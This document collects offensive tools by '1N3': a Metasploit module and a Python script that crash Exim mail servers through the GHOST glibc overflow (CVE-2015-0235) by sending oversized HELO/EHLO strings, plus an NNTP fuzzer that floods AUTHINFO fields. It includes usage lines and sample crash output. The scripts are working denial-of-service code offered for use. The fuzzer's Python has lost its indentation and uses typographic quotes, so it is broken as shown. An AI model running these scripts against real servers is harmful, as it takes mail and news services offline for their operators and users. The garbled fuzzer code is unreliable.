Exim ESMTP glibc gethostbyname() Buffer Overflow CVE-2015-0235

msf auxiliary(ghost-exim-smtp-dos) > run

[*] 192.168.1.132:25 - Server: ESMTP Exim 4.20
[*] 192.168.1.132:25 - HELO: ESMTP Exim 4.20
[-] Auxiliary failed: EOFError EOFError
[-] Call stack:
[-]   /usr/share/metasploit-framework/lib/rex/io/stream.rb:203:in `get_once'
[-]   /usr/share/metasploit-framework/lib/msf/core/exploit/smtp.rb:68:in `raw_send_recv'
[-]   /usr/share/metasploit-framework/modules/exploits/linux/smtp/ghost-exim-smtp-dos.rb:44:in `run'
[*] Auxiliary module execution completed
msf auxiliary(ghost-exim-smtp-dos) >


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::Smtp
    include Msf::Auxiliary::Dos

    def initialize
        super(
            'Name'           => 'Exim ESMTP glibc gethostbyname() Buffer Overflow CVE-2015-0235',
            'Description'    => %q{
                                This module exploits a buffer overflow in Exim SMTP servers version 4.20 or less resulting in a service crash on vulnerable systems.
                        },
            'Author'         => [ '1N3' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1 $'
        )
    end

    def run()
    connect
    print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}")

    if not datastore['SkipVersionCheck'] and self.banner.to_s !~ /Exim /
      disconnect
      fail_with(Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!")
    end

    buffer = "0" * 1023
    helo_resp = raw_send_recv("HELO " + buffer + "\r\n")
    helo_resp.each_line do |line|
        print_status("#{rhost}:#{rport} - HELO: #{line.strip}")
    end

    ehlo_resp = raw_send_recv("EHLO " + buffer + "\r\n")
    ehlo_resp.each_line do |line|
        print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")
    end

    print_status("Exploit sent!")
    disconnect()
    end
end

Exim ESMTP GHOST DoS Exploit

#!/usr/bin/python
# Exim ESMTP DoS Exploit by 1N3 v20150128
# CVE-2015-0235 GHOST glibc gethostbyname buffer overflow
# http://crowdshield.com
#
# USAGE: python ghost-smtp-dos.py <ip> <port>
#
# Escape character is '^]'.
# 220 debian-7-7-64b ESMTP Exim 4.80 ...
# HELO
# 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
# Connection closed by foreign host.
#
# user () debian-7-7-64b:~$ dmesg
# ...
# [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in
# libc-2.13.so[7fabef2a2000+182000]

import socket
import time
import sys, getopt

def main(argv):
    argc = len(argv)

    if argc <= 1:
            print "usage: %s <host>" % (argv[0])
            sys.exit(0)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    buffer = "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

    target = argv[1] # SET TARGET
    port = argv[2] # SET PORT

    print "(--==== Exim ESMTP DoS Exploit by 1N3 - https://crowdshield.com"
    print "(--==== Sending GHOST SMTP DoS to " + target + ":" + port + " with length:" +str(len(buffer))
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((target,int(port)))
    data = s.recv(1024)
    print "CONNECTION: " +data
    s.send('HELO ' + buffer + '\r\n')
    data = s.recv(1024)
    print "received: " +data
    s.send('EHLO ' + buffer + '\r\n')
    data = s.recv(1024)
    print "received: " +data
    s.close()

main(sys.argv)

Network News Transfer Protocol (NNTP) Fuzzer

#!/usr/bin/python
# Network News Transport Protocol Fuzzer by 1N3 v20140802
# http://xerosecurity.com
#
# USAGE: NTTP_fuzz.py <IP/host> <port>
#
#HELP
#100 Supported Commands
#   MODE READER
#   AUTHINFO USER <username>
#   AUTHINFO PASS <password>
#   LIST <active|newsgroups|overview.fmt> <pattern>
#   XGTITLE <pattern>
#   GROUP <newsgroup>
#   LISTGROUP <newsgroup>
#   NEWGROUPS <yy><yymmdd> <hhmmss>
#   OVER <range|msgid>
#   XOVER <range|msgid>
#   XHDR <header> <range|msgid>
#   XPAT <header> <range|msgid> <pattern> <pattern..>
#   NEWNEWS <newsgroup> <yymmdd> <hhmmss> <gmt|utc>
#   STAT <msgid|number>
#   HEAD <msgid|number>
#   BODY <msgid|number>
#   ARTICLE <msgid|number>
#   POST
#   NEXT
#   LAST
#   HELP
#   DATE
#   QUIT
import socket
import time
import sys, getopt
def main(argv):
argc = len(argv)
if argc <= 1:
print “usage: %s <host>” % (argv[0])
sys.exit(0)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # CREATE SOCKET
buffer = ["X"] # BUFFER “X”
counter = 100 # START VALUE
target = argv[1] # SET TARGET
port = “119″ # SET PORT
while (len(buffer)) <= 10000: # END VALUE
buffer=”X”*counter
counter=counter+100 # MULTIPLIER
print “(–==== Fuzzing ” + target + “:” + port + ” with length:” +str(len(buffer))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target,int(port)))
data = s.recv(1024)
#print “CONNECTION: ” +data
s.send(‘AUTHINFO USER ‘ + buffer + ‘\r\n’)
data = s.recv(1024)
#print “received: ” +data
s.send(‘AUTHINFO PASS ‘ + buffer + ‘\r\n’)
data = s.recv(1024)
print “received: ” +data
s.close()
#time.sleep(3)
# print “\n”.join(sys.argv)
main(sys.argv)